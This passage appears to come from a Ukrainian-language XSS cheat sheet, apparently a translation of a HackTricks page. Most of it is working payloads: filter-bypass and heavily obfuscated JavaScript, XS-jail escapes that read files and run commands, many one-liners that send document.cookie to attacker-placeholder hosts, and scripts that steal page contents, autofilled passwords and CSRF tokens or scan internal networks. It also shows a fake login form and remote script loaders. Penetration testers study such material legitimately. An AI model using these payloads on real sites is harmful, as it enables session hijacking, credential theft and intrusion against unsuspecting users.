top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM вразливості
Є JS код, який використовує неконтрольовані дані, що контролюються зловмисником, такі як location.href
. Зловмисник може зловживати цим для виконання довільного JS коду.
Через розширення пояснення DOM вразливостей, воно було переміщено на цю сторінку:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Там ви знайдете детальне пояснення того, що таке DOM вразливості, як вони провокуються і як їх експлуатувати.
Також не забувайте, що в кінці згаданого посту ви можете знайти пояснення про DOM Clobbering атаки.
Підвищення Self-XSS
Cookie XSS
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете вразливий піддомен до XSS, ви можете зловживати цим XSS, щоб вставити cookie в увесь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} cookie-tossing.md {% endcontent-ref %}
Ви можете знайти чудове зловживання цією технікою в цьому блозі.
Відправка вашої сесії адміністратору
Можливо, користувач може поділитися своїм профілем з адміністратором, і якщо self XSS знаходиться всередині профілю користувача, а адміністратор отримує доступ до нього, він активує вразливість.
Віддзеркалення сесії
Якщо ви знайдете деякі self XSS, а веб-сторінка має віддзеркалення сесії для адміністраторів, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Ви могли б змусити адміністратора активувати ваш self XSS і вкрасти його cookies/сесію.
Інші обходи
Нормалізований Unicode
Ви могли б перевірити, чи відображені значення нормалізуються в unicode на сервері (або на стороні клієнта) і зловживати цією функціональністю, щоб обійти захист. Знайдіть приклад тут.
PHP FILTER_VALIDATE_EMAIL обхід прапора
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails обхід
Через RoR масове призначення цитати вставляються в HTML, а потім обмеження цитат обминається, і додаткові поля (onfocus) можуть бути додані всередині тегу.
Приклад форми (з цього звіту), якщо ви надішлете payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Пар "Ключ","Значення" буде відображено назад ось так:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Тоді атрибут onfocus буде вставлений, і відбудеться XSS.
Спеціальні комбінації
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS з ін'єкцією заголовків у відповіді 302
Якщо ви виявите, що можете ін'єктувати заголовки в відповіді 302 Redirect, ви можете спробувати змусити браузер виконати довільний JavaScript. Це не тривіально, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу є марним.
У цьому звіті та цьому ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.
Відомі протоколи: mailto://
, //x:1/
, ws://
, wss://
, порожній заголовок Location, resource://
.
Тільки літери, цифри та крапки
Якщо ви можете вказати callback, який javascript збирається виконати, обмежтеся цими символами. Прочитайте цей розділ цього посту, щоб дізнатися, як зловживати цією поведінкою.
Дійсні <script>
Content-Types для XSS
(З тут) Якщо ви спробуєте завантажити скрипт з content-type, таким як application/octet-stream
, Chrome видасть наступну помилку:
Відмовлено у виконанні скрипту з ‘https://uploader.c.hc.lc/uploads/xxx' через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
Єдиними Content-Typeами, які підтримують Chrome для виконання завантаженого скрипту, є ті, що містяться в константі kSupportedJavascriptTypes
з https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(З тут) Отже, які типи можуть бути вказані для завантаження скрипта?
<script type="???"></script>
Відповідь:
- module (за замовчуванням, нічого не потрібно пояснювати)
- webbundle: Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Дозволяє покращити синтаксис імпорту
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Ця поведінка була використана в цьому описі для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
- speculationrules: Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Web Content-Types to XSS
(З тут) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
- application/rss+xml (вимкнено)
- application/atom+xml (вимкнено)
В інших браузерах можуть використовуватися інші Content-Types
для виконання довільного JS, перевірте: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Спеціальні шаблони заміни
Коли використовується щось на кшталт "some {{template}} data".replace("{{template}}", <user_input>)
, атакуючий може використовувати спеціальні заміни рядків, щоб спробувати обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Наприклад, у цьому звіті це було використано для втечі JSON рядка всередині скрипта та виконання довільного коду.
Кеш Chrome до XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
Втеча з XS Jails
Якщо у вас є лише обмежений набір символів для використання, перевірте ці інші дійсні рішення для проблем XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Якщо все є невизначеним перед виконанням ненадійного коду (як у цьому звіті), можливо створити корисні об'єкти "з нічого", щоб зловживати виконанням довільного ненадійного коду:
- Використовуючи import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Доступ до
require
опосередковано
Згідно з цим модулі обгорнуті Node.js у функцію, ось так:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Отже, якщо з цього модуля ми можемо викликати іншу функцію, можливо використовувати arguments.callee.caller.arguments[1]
з цієї функції для доступу до require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Аналогічно попередньому прикладу, можливо використовувати обробники помилок, щоб отримати доступ до обгортки модуля та отримати require
функцію:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Обфускація та розширене обходження
- Різні обфускації на одній сторінці: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Більш складний JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS загальні пейлоади
Кілька пейлоадів в 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Iframe пастка
Змусьте користувача переміщатися по сторінці, не виходячи з iframe, і викрасти його дії (включаючи інформацію, надіслану у формах):
{% content-ref url="../iframe-traps.md" %} iframe-traps.md {% endcontent-ref %}
Отримати куки
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Ви не зможете отримати доступ до куків з JavaScript, якщо у куці встановлено прапор HTTPOnly. Але тут ви маєте декілька способів обійти цю захист, якщо вам пощастить. {% endhint %}
Вкрасти вміст сторінки
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Знайти внутрішні IP-адреси
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Портовий сканер (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Порт Сканер (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Короткі часи вказують на відповідний порт Довші часи вказують на відсутність відповіді.
Перегляньте список заборонених портів у Chrome тут та у Firefox тут.
Поле для запиту облікових даних
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Захоплення паролів автозаповнення
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер атакуючого, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
Keylogger
Просто шукаючи в github, я знайшов кілька різних:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ви також можете використовувати metasploit
http_javascript_keylogger
Викрадення CSRF токенів
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Вкрадення повідомлень PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Зловживання службовими працівниками
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Доступ до Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Поліглоти
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Сліпі XSS корисні навантаження
Ви також можете використовувати: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
